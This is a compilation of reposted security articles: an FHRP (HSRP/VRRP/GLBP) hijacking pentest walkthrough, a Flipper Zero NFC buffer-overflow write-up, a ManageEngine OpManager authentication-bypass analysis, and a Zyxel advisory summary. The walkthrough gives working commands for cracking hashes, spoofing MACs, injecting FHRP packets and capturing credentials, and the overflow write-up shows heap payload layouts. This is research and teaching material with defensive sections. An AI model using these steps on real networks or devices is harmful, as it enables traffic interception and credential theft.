FHRP Nightmare. Pentesting redundancy systems like a devil.

FHRP Nightmare. Pentesting redundancy systems like a devil

original text by Magama Bazarov

In order to improve the resiliency of their network at the routing level, network administrators use the FHRP family of protocols in most cases. However, in most cases, the configuration of FHRP protocols is left by default, which opens the way for exploitation.

My name is Magama Bazarov and I am an expert in network security. And in my research you will find out what kind of nightmare is going on in the network at the routing level.


This article is intended for security professionals who conduct pentests under an agreed-upon, legitimate contract. Destroying and hacking into other people’s computer networks can be prosecuted. Be careful and try not to test your fate. The skills you learn from my article are only your area of responsibility.

1. Why we need FHRP protocols?

FHRP (First Hop Redundancy Protocol) — is a family of network protocols that allows multiple physical routers to share/maintain a single virtual IP address, in order to increase the fault tolerance of the local network. This virtual address will be assigned as the default gateway address for the end hosts. The most common FHRP class protocols are HSRP, VRRP and GLBP, the security of which I will discuss in this article.

2. HSRP (Hot Standby Redundancy Protocol)

HSRP (Hot Standby Router/Redundancy Protocol) — is a Cisco proprietary protocol that allows for network gateway redundancy. The general idea is to combine several physical routers into one logical router with a common IP address. This address of the virtual router will be assigned to the interface of the router with the master role, and the latter, in its turn, will take care of traffic forwarding.

2.1 HSRP Roles & Terminology

HSRP Active Router — a device that acts as a virtual router and provides forwarding of traffic from source networks to destination networks.
HSRP Standby Router — a device that acts as a standby router, waiting for the active router to fail. When the primary Active router fails, the Standby router will take over the primary role and take over the duties of the Active router.
HSRP Group — a group of devices that ensures the operation and fault tolerance of a logical router.
HSRP MAC Address — the virtual MAC address of the logical router in the HSRP domain.
HSRP Virtual IP Address — This is a special virtual IP address in the HSRP group. This IP address will be the default gateway for the end hosts, used on the logical router itself.

2.2 HSRP Mechanics

HSRP is implemented on top of TCP/IP protocol stack, so UDP transport layer protocol under port number 1985 is used for service information transmission. HSRP-routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds an HSRP-router within the same group has not received a hello packet from its HSRP neighbor, it recognizes it as “dead”

This protocol has two versions (HSRPv1 x HSRPv2) and they differ in the following characteristics:

  • Number of groups. (HSRPv1 offers up to 255 groups, when HSRPv2 can up to 4096)
  • Virtual MAC addresses. (HSRPv1 — 
     / HSRPv2 — 
    ) (XX is HSRP group number)
  • MCAST IP addresses. (HSRPv1 —
     / HSRPv2 —

3. VRRP (Virtual Router Redundancy Protocol)

This protocol was developed based on the phenomena of the HSRP protocol, so it has a lot of trouble with patents. Therefore, it cannot be called “free” and “open”. But at least it is supported by all network equipment vendors, i.e. using VRRP in your network allows you to be independent of any vendor ecosystem.

3.1 VRRP Mechanics

De facto, if you know how HSRP works, you know how VRRP works. HSRP and VRRP have a lot in common, but I’ll tell you the distinguishing characteristics:

  • VRRP is not implemented on top of the TCP/IP protocol stack. This protocol works exclusively on the network layer
  • Its MCAST IP address is
  • Its identifier is 
  • The second version of VRRPv2 features IPv4 support and support for authentication. The type of authentication depends on the vendor. For example, Cisco offers VRRP protection using MD5 authentication, while MikroTik (RouterOS) offers AH-authentication (AH is a protocol from the IPSec opera)
  • The third version, VRRPv3, has support for IPv6 but lacks authentication.

VRRP neighbors within one redundancy domain exchange special hello packets every second (a kind of hello time). But there is also a kind of “dead timer” — if there is no hello packet within 10 seconds, the router from which this “hello” was expected — will drop out of the failover domain.

3.2 VRRP Roles & Terminology

  • VRRP Master Router is an active router that is responsible for transferring legitimate traffic on the network.
  • VRRP Backup Router is a standby router. As soon as the current Master Router goes down, it will take over its role and perform its functions
  • VRRP MAC Address — The virtual MAC address in the VRRP group (
    ). Instead of XX, it is the number of the VRRP group.
  • VRRP VRID — The identifier of the VRRP group within which the physical routers are located.
  • VRRP Virtual IP Address — A special virtual IP address in the VRRP domain. This IP address is used as the default gateway for the end hosts.

4. Emergence of pseudo-balancing

The problem is that the HSRP and VRRP protocols have no load balancing mechanism. When they are used, there is a pseudo-balancing, where by default only one device is actually working, while the others are resting and working in standby mode. However, you can simply spread your VLANs over logical HSRP/VRRP processes at the distribution switch level (L3 switches) or at the router level when logical VLANs are created (802.1Q Encapsulation Moment)

Below will be examples of settings for HSRP and VRRP with respect to VLAN 10 and VLAN 30 networks. Dist-SW1 will plow on VLAN 10 and sleep on VLAN 30. Dist-SW2 will plow for VLAN 30 and sleep for VLAN 10.

4.1 HSRP for VLANs (Cisco IOS)

Dist-SW1(config)# interface vlan 10
Dist-SW1(config-if)# standby 10 ip
Dist-SW1(config-if)# standby 10 priority 150
Dist-SW1(config-if)# standby 10 preempt
Dist-SW1(config-if)# standby 10 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW1(config)# interface vlan 30
Dist-SW1(config-if)# standby 30 ip
Dist-SW1(config-if)# standby 30 priority 90
Dist-SW1(config-if)# standby 30 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW2(config)# interface vlan 10
Dist-SW2(config-if)# standby 10 ip
Dist-SW2(config-if)# standby 10 priority 90
Dist-SW2(config-if)# standby 10 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

Dist-SW2(config)# interface vlan 30
Dist-SW2(config-if)# standby 30 ip
Dist-SW2(config-if)# standby 30 priority 150
Dist-SW2(config-if)# standby 30 preempt
Dist-SW2(config-if)# standby 30 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

4.2 VRRP for VLANs (Cisco IOS)

Dist-SW1(config)# interface vlan 10
Dist-SW1(config-if)# vrrp 10 ip
Dist-SW1(config-if)# vrrp 10 priority 150
Dist-SW1(config-if)# vrrp 10 preempt
Dist-SW1(config-if)# vrrp 10 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW1(config)# interface vlan 30
Dist-SW1(config-if)# vrrp 30 ip
Dist-SW1(config-if)# vrrp 30 priority 90
Dist-SW1(config-if)# vrrp 30 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW2(config)# interface vlan 10
Dist-SW2(config-if)# vrrp 10 ip
Dist-SW2(config-if)# vrrp 10 priority 90
Dist-SW2(config-if)# vrrp 10 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

Dist-SW2(config)# interface vlan 30
Dist-SW2(config-if)# vrrp 30 ip
Dist-SW2(config-if)# vrrp 30 priority 150
Dist-SW2(config-if)# vrrp 30 preempt
Dist-SW2(config-if)# vrrp 30 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

5. GLBP (Gateway Load Balancing Protocol)

Developed by Cisco Systems engineers. Like HSRP, this protocol is implemented on top of TCP/IP protocol stack, that’s why UDP transport layer protocol under port number 3222 is used for translation of service information. GLBP routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds a GLBP router within the same group has not received a hello packet from its GLBP neighbor, it recognizes it as “dead”. However, the timer values can be configured depending on the administrator’s needs.

5.1 GLBP Mechanics

GLBP provides load sharing to multiple routers (gateways) using one virtual IP address and multiple virtual MAC addresses. Each host is configured with the same virtual IP address and all routers in the virtual group participate in packet transmission. Works much differently with respect to HSRP and VRRP protocols, as it uses the mechanisms of real load balancing, I will denote below:

  • The Host-Dependent. Type of load balancing used on a network where there is NAT. Host-Dependent ensures that the host will return the same MAC address of the AVG device that was used at an earlier point in time, thus the NAT configured to the host will not be broken.
  • Round-Robin. In this mode, the AVG device distributes MAC addresses to AVF members alternately. This is the mechanism used by default.
  • Weight-based round-robin. Load balancing based on special “Weight” metric

5.2 GLBP Roles & Terminology

  • AVG (Active Virtual Gateway) — a device that is essentially the father of the entire GLBP logical domain. “Father” tells the other routers how to handle legitimate traffic. Gives out MAC addresses and is responsible for answering ARP requests. By the way, within a single GLBP group, AVG members can be only one router.
  • AVF (Active Virtual Forwarder) — the device in the GLBP domain that handles traffic. There can be several of them.
  • GLBP Group — A logical GLBP group that includes physical routers. Each GLBP logical group has its own unique numeric identifier
  • GLBP MAC — The virtual MAC address of the AVF members distributed by the existing AVG router.
  • GLBP Virtual IP Address — The IP address the AVG router is responsible for
  • GLBP Preempt Mode — an option that allows the resurrected AVG device to regain its role after being replaced by AVF based on its priority values. By default, preempt mode is disabled for AVG members when preempt mode is enabled for AVF members (with a delay of up to 30 seconds, but this value can be configured manually)
  • GLBP Weight — metric indicating the degree of load on the device interface. The greater this metric is, the higher the load on the router interface.

6. FHRP Selector

For FHRP protocols, the default priority value of routers is 100. If administrator did not set priorities manually, in case of HSRP (ACTIVE), in case of VRRP (MASTER), in case of GLBP (AVG) will be the router with the highest address. Of course, these priorities are configured manually, depending on the needs of the network administrator and what fault tolerance infrastructure he needs.

7. FHRP Timings

  • HSRP (Hello time: 3 sec / Hold time: 10 sec)
  • VRRP (Hello time: 1 sec / Hold time: 3 sec)
  • GLBP (Hello time: 3 sec / Hold time: 10 sec)

8. FHRP Hijacking

FHRP domains are vulnerable to a Hijack attack if the ACTIVE/MASTER/AVGleader does not have a maximum priority value with respect to its configuration. If an attacker injects an HSRP/VRRP/GLBP packet with maximum priority values, he will be able to intercept traffic within the network.

8.1 Stages

  • Information Gathering. find out priority values, search for authentication, virtual IP address used, MAC addresses
  • Authentication Bypassing.The authentication bypassing stage. If there is, of course. Save traffic dump, exfiltrate hashes and brute-force key from the domain.
  • Injection.Preparing network interface, writing MAC address, routing permission, generating and sending malicious FHRP injection.
  • Routing Management.Creating a secondary IP address, configuring a new default route, (NAT) MASQUERADE

8.2 Weaponize

  • Wireshark. With this network traffic analyzer we will perform Information Gathering process, enumerating packet headers
  • John & *2john-exfiltrators. John is a hash bruteforcer, *2john scripts will help reproduce hash exfiltration from the traffic dump
  • Loki. It is a batch injector, a framework for performing security analysis of various L2/L3 protocols, even DRP, FHRP, etc.

8.3 Vectors

  • MITM. A man-in-the-middle attack to intercept legitimate traffic. Executed by malicious FHRP injection with maximum priority value.
  • Blackhole. An attack designed to wrap traffic from a legitimate subnet into ANYTHING. Blackhole means “black hole”. Traffic goes into black hole and that’s it
  • Kicking router via UDP Flood. DoS-attack, the mechanism of which consists of mass mailing of UDP datagrams with the aim to put the destination router out of action. Works regarding HSRP & GLBP, because when processes of these protocols are launched on routers, they automatically start listening to UDP-ports 1985 and 3222 (HSRP and GLBP respectively), no transport layer for VRRP.

8.4 Limitations

  • CPU power dependency. After MITM attack, traffic of the whole network or VLAN segment (depending on existing infrastructure) will run through your device and it must be ready to process, routing traffic of the whole legitimate segment. Otherwise, a DoS will occur, and the customer will not appreciate such a scenario and hot tears will flow.
  • Network interface performance. The network card used at the moment of attack should be powerful enough to handle a large amount of traffic.
  • Dependence on possible network VLAN segmentation. If you’re on VLAN 10, for example, and you can MITM through an inject, you’ll be intercepting traffic from the VLAN you’re on. You won’t get traffic from other VLANs.

9. Nightmare Realm

As part of a practical attack, I built a three-layer network which I provided Internet access, OSPF, and HSRP/VRRP/GLBP fault tolerance domains. As part of my attack, I will be targeting the Distribution Layer and intercepting traffic on the VLAN 10 network.

Papercut — FTP server under IP address

Dustup — Windows 10 machine with IP address

Attacker (Mercy) — attacker system with Kali Linux at IP address

Boundless — Linux Mint client machine with IP address

The left side of the Distribution level switches are Cisco vIOS switches: Dist-SW1 and Dist-SW2 at
, respectively

Edge Router — the edge router of this network, provides the entire network with the Internet by the mechanism NAT (PAT Mechanism Moment)

As a dynamic routing acts as a BACKBONE zone OSPF and identifier 


And the HSRP/VRRP/GLBP processes are implemented on virtual SVI interfaces.

10. HSRP Hijacking

10.1 Stage 1: Information Gathering

From the Wireshark traffic dump, we see HSRP announcements from two switches at and

HSRP Ad from first router

HSRP Ad from second router

Based on the analysis of HSRP packet headers we have the following picture (within my network I have studied 2 HSRP announcements):

  • ACTIVE device is a switch with address
    , its priority is 
  • STANDBY device is a switch at
    , its priority is 
  • Cryptographic authentication (MD5) is used
  • Virtual IP address
  • Virtual MAC: 
  • HSRP group number 

Since the ACTIVE switch has a priority of 

 out of 
— the Hijack attack vector looms. But also, there is the use of authentication. Authentication with respect to FHRP prevents unauthorized devices from entering the fault tolerance process. But since we are the attacker, we need to find out what kind of key is used as authentication to the HSRP domain.

10.2 Stage 2: Authentication Bypassing

You need to save the traffic dump in 

format, then use 
(in my case the script is called 
 to perform hash exfiltration. This script will spit out MD5 hashes and convert them to John format at the same time, which is convenient. Then these hashes can be dumped into a separate file and fed to John, i.e. this file will act as input for the brute force. And with key 
— wordlist
 we will set path to dictionary

in9uz@Mercy:~$ python2 hsrpexfiltrate.py hsrpwithauth.pcap
in9uz@Mercy:~$ cat >> hsrpv1md5hashes
in9uz@Mercy:~$ john hsrpv1md5hashes --wordlist=/usr/share/wordlists/rockyou.txt

In the end we managed to reset the authentication key to the HSRP domain — endgame

10.3 Stage 3: Injection

First of all, we need to change the MAC address to the virtual MAC address of the ACTIVE switch. This is done in order not to unnecessarily trigger the system DAI (Dynamic ARP Inspection), because 

 may well be surprised that with respect to
 now has a different MAC-address.

Next, switch our network interface to promiscious mode and allow traffic routing.

in9uz@Mercy:~$ sudo macchanger --mac=00:00:0C:07:AC:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Now you have to start Loki, select the network interface

in9uz@Mercy:~$ sudo loki_gtk.py
Select interface

After launching the tool, Loki itself will detect HSRP announcements sent out by routers. Enter the MD5 authentication key (endgame), select the 

Do gratuitous ARP option.
This is a special modification of ARP-frame, which is in fact a stub, which notifies all broadcast domain about new binding of IP-address with MAC-address. Next, click on the two devices (in Seen state) and select the Get IP option.

After that, Loki will generate a custom injection with a maximum priority value of 

, which, in turn, will allow the attacker to intercept the ACTIVE role and thus stand in the Man-in-the-Middle moment

10.4 Stage 4: Routing Management

After the injections are done, we need to do a little routing management.

Firstly we have to remove the old default route, going through,
since we became the new ACTIVE router, we own this virtual address 
, but with the old route all traffic is looped back to our OS, which without any extra work causes DoS against legitimate hosts :))

We also need to create a secondary address on our interface with HSRP Virtual IP Address value
, again, after the attack we are the owner of this address.

in9uz@Mercy:~$ sudo ifconfig eth0:1 netmask

Let’s write a new default route through
 (this is the former ACTIVE router), but even though we took away the ACTIVE role from it, it is still able to route traffic where we need it. You can also try to write the second static route through
 with the special metric, i.e. here with the second route we already realize the floating static routing.

in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net netmask gw


in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

In the end we succeeded in conducting a MITM attack. To clearly show the impact of the attack, I will connect to the FTP server Papercut

Intercepted FTP creds

Intercepted FTP creds — 


!!! However, ICMP REDIRECT messages are generated during the attack itself. The IPS/IDS security system may trigger. Be careful and disable ICMP redirect if possible !!!

11. VRRP Hijacking

11.1 Stage 1: Information Gathering

Within VRRP, these hello packets are only visible from the MASTER device.

Wireshark VRRP dump

Based on the analysis of the HSRP packet headers we denote the following information:

  • MASTER device is a router at
    , its priority is 
  • No authentication
  • Virtual IP-address
  • Virtual MAC: 
  • VRRP group number 

11.2 Stage 2: Injection

Change the MAC-address to the one belonging to MASTER, promisc mode and allow routing:

in9uz@Mercy:~$ sudo macchanger --mac 00:00:5e:00:01:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0 promisc
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Run Loki:

in9uz@Mercy:~$ sudo loki_gtk.py

Loki detected the VRRP announcement. All the same, generate a (Gratuitous ARP) and inject

Loki performed an inject, you can examine his body 

(Inject has a priority of 255)

11.3 Stage 3: Routing Management

All the same routing management. Writing routes, creating a secondary address, and setting up NAT (MASQUERADE)

in9uz@Mercy:~$ sudo ifconfig eth0:1 netmask
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net netmask gw
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

To illustrate, I will connect to that FTP-server again (Papercut), but with different codes 


Intercepted FTP creds


12. GLBP Hijacking

12.1 Stage 1: Information Gathering

We see GLBP announcements from two devices. Based on the analysis of the GLBP packets we have the following picture:

  • AVG is
  • AVF is
  • No authentication
  • GLBP Group Number 
  • Virtual IP Address
  • Virtual MAC: 


12.2 Stage 2: Injection

Change the MAC-address to the one of the AVG, promiscious mode and routing permission

in9uz@Mercy:~$ sudo macchanger --mac=00:07.b4:00.01:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0 promisc
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Run Loki:

in9uz@Mercy:~$ sudo loki_gtk.py

Loki found the ads. Performing Inject x Gratuitous ARP

Loki generated a GLBP injection with priority and weight values (Priority 255 x Weight 255)

12.3 Stage 3: Routing Management

Again: Secondary address, routing, NAT

in9uz@Mercy:~$ sudo ifconfig eth0:1 netmask
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net netmask gw
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Now, we are the MITM. Run 

<a rel="noreferrer noopener" href="https://github.com/DanMcInerney/net-creds" target="_blank">net-creds.py</a> 
This tool will pull sensitive data during traffic analysis (i.e. unencrypted HTTP/FTP traffic, NetNTLM hashes)

in9uz@Mercy:~/FHRPNightmare/net-creds$ sudo python2 net-creds.py -i eth0

To proof, reading the SMB share on behalf of the 


Intercepted NetNTLMv2-SSP hash of user distance
Why not? Bruteforce the hash

13. Prevention

13.1 Using ACL

An ACL allows you to filter traffic by various parameters, ranging from source IP address to TCP/UDP ports. (depending on which ACL you use — standard or extended?)

  • HSRP: ACL against
  • VRRP: ACL against
  • GLBP: ACL against

13.2 Authentication

Authentication prevents unauthorized routers from entering failover domains. If you’re going to protect a domain with authentication, use persistent keys so they’re not so easy to break.

Here Cisco IOS boasts Key-Chain authentication, where multiple keys can be used and you can configure the time intervals within which the keys will be accepted and sent. RouterOS even has a wild AH-authentication for VRRP, such a salt is used there — you can’t brute force it even with a dictionary password. By the way, Cisco IOS uses MD5 authentication for FHRP, and RouterOS uses AH (the IPSec opera protocol)

14. Outro

FHRP protocols help to organize a system of hot redundant routing gateways. Such systems are widespread in the case I reviewed. But now you know what can happen to a network if an engineer has not taken care of the design and security configuration of the FHRP protocols themselves.

Speaking of which, this FHRP Hijacking can serve as an alternative to ARP spoofing. AD networks open up all possibilities for Relay attacks and information gathering, you can also implement phishing attacks and much more. I very much hope that this research of mine will give pentesters new attack vectors for pentesters, and network administrators will get new cases to improve their network security.

My Telegram: https://t.me/in9uz

Telegram Channel: https://t.me/in6uz

Github: https://github.com/in9uz

Twitter: https://twitter.com/in9uz

You can see, what you wanna see. You can feel, what you wanna feel.

Exploiting Flipper Zero’s NFC file loader

Exploiting Flipper Zero’s NFC file loader

original text by vvx7

Flipper Zero is a self-described portable multi-tool for pentesters and geeks in a toy-like body. The device comes with several built-in applications to transmit and recieve sub-1GHz frequencies, such as RFID, NFC, and Bluetooth.

This post demonstrates a buffer overflow in Flipper Zero’s NFC file loader that I discovered for BGGP3.

You Wouldn’t Download a Wolf Link

Nintendo Amiibos are collectible figurines with an embedded NFC chip that grant special in-game items on the Nintendo Switch. At anywhere from $15 to $70 USD, and considerably more for limited editions, it’s not surprising there’s an active community around cloning and emulating these NFCs.

Anyway, I just bought a Flipper Zero to keep amiibos from overflowing my desk and if you’re reading this you probably did too. The problem, or opportunity, is Flipper Zero firmware up to 0.65.2 is vulnerable to a buffer overflow that can crash your device and maybe execute code, who knows. The latest version, released 06 Sept 2022, includes the patch for this vulnerability.

Before we dive in, let’s look at how a Flipper Zero stores Amiibo files.

Filetype: Flipper NFC device
Version: 2
# Nfc device type can be UID, Mifare Ultralight, Mifare Classic, Bank card
Device type: NTAG215
# UID, ATQA and SAK are common for all formats
UID: 04 C1 8A 01 27 40 03
ATQA: 44 00
SAK: 00
# Mifare Ultralight specific data
Data format version: 1
Signature: 35 47 82 B2 E9 D5 8F 70 C3 BC 79 FE 8A ED 77 16 EC 25 8C 9A 95 32 4B 94 19 00 2E 12 5A D0 AC 90
Mifare version: 00 04 04 02 01 00 11 03
Counter 0: 0
Tearing 0: 00
Counter 1: 0
Tearing 1: 00
Counter 2: 95
Tearing 2: 00
Pages total: 4
Pages read: 4
Page 0: 33 33 33 33
Page 1: 33 33 33 33
Page 2: 33 33 33 33
Page 3: 33 33 33 33

The NFC file contains some metadata indicating the device type, version, and so on. We’re not really concerned with that and anyway the code to parse them looks fine. What we do care about is the page total field, here 

 and the 4 bytes of page data in each page which I’ve set to 
 for readability.

Buffer Overflow

A buffer overflow exists in the 

 function of 
 that allows out of bounds write on the 
 buffer. If you need a refresher on memory corruption bugs on ARM chips then best check Azeria’s blog on the subject.

The Flipper firmware hardcodes the length of the NFC data buffer 

 at 2040 bytes, enough to store data from the largest Mifare chips. When this function reads an NFC file it does not check that the length of page data in the file is less than the length of this buffer. Since there’s no check to prevent more than 510 pages from being read (510 * 4 = 2040 bytes), nor a check to ensure the data read is less than the length of 
, we can store up to 
 pages of data in our file and read enough of them into memory to corrupt the device.

This may result in various crashes including a BusFault crash and a NULL pointer exception. In some cases, the device is unresponsive to a reboot (idk why, sorry) and must be re-flashed to recover it.


This is my first year participating in Binary Golf Grand Prix 3. The rules are simple; you need to crash a program using a file of no more than 4096 bytes. Unfortunately, this NFC file is way too large to be a valid entry (it’s a chonky 23k), but I still had fun finding a bug, writing the exploit, and writing a patch for the Flipper Zero firmware.

Special thanks to all the lovely people at BGGP who took time to organize this event, review submissions, offer support and encouragement, and to all the ghosts.

BGGP3 has bonus challenges that each grant additional points if completed. Copy pasta from their site:

Bonus points will be awarded for the following additional accomplishments:

+1024 pts, if you submit a writeup about your process and details about the crash
+1024 pts, if the program counter is all 3's when the program crashes
+2048 pts, if you hijack execution and print or return "3"
+4096 pts, if you author a patch for your bug which is merged before the end of the competition

Count to 3

Reminder that this bug is a heap based buffer overflow. We’re writing out of bounds on the 

 buffer which for this example we’ll say is stored in struct 
 at address 
. In order to make the program call into code we control, we’ll need to find a value somewhere on the heap (at a higher address than the start of our buffer) that we can reach without crashing the program.

Very lucky that the 

 struct contains the address of a callback function! Let’s look at that in the code.

typedef struct {
    Storage* storage;
    DialogsApp* dialogs;
    NfcDeviceData dev_data;
    char dev_name&#91;NFC_DEV_NAME_MAX_LEN + 1];
    string_t load_path;
    NfcDeviceSaveFormat format;
    bool shadow_file_exist;

    NfcLoadingCallback loading_cb;  // owo
    void* loading_cb_ctx;
} NfcDevice;

After loading the NFC file, the program does a bit of cleanup and then calls the 

 function as it transitions between sub-menus. So if we can control the address without crashing we’re guaranteed to load this code right away.

After end of the data buffer, 

, I’ve copied the heap bytes up to 
 as they appear when the buffer is 2040 bytes long and not overflowed, so the payload is rebuilding the 
 struct on the heap (you’ll need to fix the alignment too) to reach the address of the 
 function in the 
 struct. It looks like this:

0x20010a60: 0x41414141  0x41414141  0x41414141  0x41414141
0x20010a70: 0x41414141  0x41414141  0x41414141  0x41414141
0x20010a80: 0x41414141  0x41414141  0x41414141  0x42424141
0x20010a90: 0x67627067  0x00330000  0x00000000  0x00000000
0x20010aa0: 0x00000000  0x00000000  0x00120000  0x001c0000
0x20010ab0: 0x0a402001  0x00020000  0xcccccccc  0x20002000


We can control some data on the heap, and we can control a callback pointer. So how can we get the program to print 3?

This image shows the number of pages read from the NFC file as 

. It should say 
, so what’s going on here?

Look at the NFC data on the heap and you’ll notice that immediately following the page data is the number 


0x2000e4a8: 0x41414141 0x41414141 0x41414141 0x41414141
0x2000e4b8: 0x41414141 0x41414141 0x41414141 0x41414141
0x2000e4c8: 0x42424141 0x07f84242 0x00000000 0x00000000

 is the length of the 
 buffer (2040 bytes). Divide by 4 and you have the number of pages read. To print 
 instead of the actual page count, just replace this value with 
 which results in 
 when divided by 4.

But the challenge is code execution! Just overflowing a value on the stack isn’t very cash money of me.

So let’s talk about ROP. In another post haha. I was hoping to modify one of the menu animations to include 

 but I’ve run out of time. >.<

Patching the bug

The final challenge is to submit a patch and have it merged before the end of the competition. My patch was submitted on the last day of BGGP3 and merged into the Flipper Zero firmware repository on Sept 5, after the competition closed.

The patch is a one-liner that checks if the size of either 

 is greater than the length of 
 buffer. If it is, the function breaks triggering a file parser failure which is the same behaviour as the other checks on the NFC metadata fields.

Here’s the patch. Ezpz.

if(data->data_size > MF_UL_MAX_DUMP_SIZE || data->data_read > MF_UL_MAX_DUMP_SIZE) break;

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass

CVE-2022-36923 Detail

origianl text by 4er 


ManageEngine offers enterprise IT management software for your service management, operations management, Active Directory and security needs.

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass
CVE-2022-35405 Zoho Password Manager Pro XML-RPC RCE
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE to RCE
CVE-2021-44077 Zoho ManageEngine ServiceDesk Plus Pre-Auth RCE
CVE-2020-10189 Zoho ManageEngine Desktop Central deserialize RCE

According to ZDI’s announcement , the vulnerability exists


The key point is how to get to this position.

Search the xml configuration file to find

The route is 

, try to construct the request packet

Prompt missing parameters, see the log to report an error

The IAMSecurityException breakpoint hits its constructor and traces back up, and finally 

found that an exception was thrown because the parameter regular matching was incorrect.

The final construction parameter successfully returns 200

look back now


    public String getUserAPIKey(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String userName = request.getParameter("username");
        String domainName = request.getParameter("domainname");
        if (userName != null &amp;&amp; domainName != null) {
            try {
                Long userId = MickeyLiteUtil.getUserId(userName, domainName);
                String apiKey = (new APIKeyGenerator()).checkAndGenerateApiKey(userId, -1L);
                PrintWriter out = response.getWriter();
                return null;
            } catch (Exception var8) {
                return null;
        } else {
            return null;


You need to give a correct domainName, it depends on what value is in the AaaLogin table in the database.

View database jdbc link

<strong>C:\Program Files\ManageEngine\OpManager\conf\database_params.conf</strong>

The password is encrypted and found in the bin directory


call .\setCommonEnv.bat

set CLASS_PATH="%SERVER_HOME%\lib\framework-tools.jar"


"%JAVA%"  -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil %*

"%JAVA%" -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil "showUsage"


Call the CryptoUtil class for encryption

Write a class directly to call the decrypt function

cryptTag is 

obtained by

Parse the persistence-configurations.xml file to get the CryptTag attribute and view the file content

Attempt to 

decrypt unsuccessfully, and then found that an external entity was introduced at the top of the xml file


found the CryptTag in the file

The algorithm is AES256. After decryption, link to the database and check the AaaLogin table.

The domainName is obtained 

, and the final request package is as follows

Get restapi from this

The rce method looked at the restapi documentation. There is a workflow that can be used for rce, but there is a problem with accessing through restapi.


If your api is 

an internal api, the isAPIClient in the session will only be assigned when you log in, so this place isApiclient is false, and NmsUtil.isRMMEdition is false, causing an exception to be thrown 
APIError.internalAPI(request, response)
then all internal apis cannot be called.


key APIs that define the workflow are 
the internal APIs.

At this point, the rce is broken. I traced back the 

function and found that all the APIs are in the database 
table. After filtering 
, a total of 955 APIs can be accessed through restapi.

I looked at it and saw that nothing was added, deleted, modified, and checked. I hope someone who is destined can dig out a rce.


My colleague looked at the cve injected by the other two commands of opmanager and found that it should be possible to string rce together. see colleagues’ articles

ZOHO ManageEngine OpManager Two RCEs

The writing is rubbish, the wording is frivolous, the content is simple, and the operation is unfamiliar. The deficiencies are welcome to give pointers and corrections from the masters, and I am grateful.

CVE-2022-36923 Detail

Current Description

Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.

Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.


Zyxel addressed a critical RCE flaw in its NAS devices

mportant RCE Vulnerability Impacts Zyxel NAS Units — Firmware Patch Launched

original text by Pierluigi Paganini

Networking equipment vendor Zyxel addressed a critical vulnerability impacting its network-attached storage (NAS) devices.

Zyxel addressed a critical vulnerability, tracked as CVE-2022-34747, impacting its network-attached storage (NAS) devices.

The CVE-2022-34747 (CVSS score: 9.8) flaw is classified as a format string vulnerability that resides in Zyxel NAS326 firmware versions prior to V5.21(AAZF.12)C0. An attacker can exploit the vulnerability to achieve unauthorized remote code execution via a crafted UDP packet.

“A format string vulnerability was found in a specific binary of Zyxel NAS products that could allow an attacker to achieve unauthorized remote code execution via a crafted UDP packet.” reads the advisory published by the vendor.

Below is the list of affected models and the firmware patches released by the company.

NAS326V5.21(AAZF.11)C0 and earlierV5.21(AAZF.12)C0
NAS540V5.21(AATB.8)C0 and earlierV5.21(AATB.9)C0
NAS542V5.21(ABAG.8)C0 and earlierV5.21(ABAG.9)C0

The vulnerability was reported to Zyxel by Shaposhnikov Ilya.

In May 2022, Zyxel released security updates to address multiple vulnerabilities affecting multiple products, including firewall, AP, and AP controller products.

Below is the list of the four vulnerabilities, the most severe one is a command injection flaw in some CLI commands tracked as CVE-2022-26532 (CVSS v3.1 7.8):

  • CVE-2022-0734: A cross-site scripting vulnerability was identified in the CGI program of some firewall versions that could allow an attacker to obtain some information stored in the user’s browser, such as cookies or session tokens, via a malicious script.
  • CVE-2022-26531: Multiple improper input validation flaws were identified in some CLI commands of some firewall, AP controller, and AP versions that could allow a local authenticated attacker to cause a buffer overflow or a system crash via a crafted payload.
  • CVE-2022-26532: A command injection vulnerability in the “packet-trace” CLI command of some firewall, AP controller, and AP versions could allow a local authenticated attacker to execute arbitrary OS commands by including crafted arguments to the command.
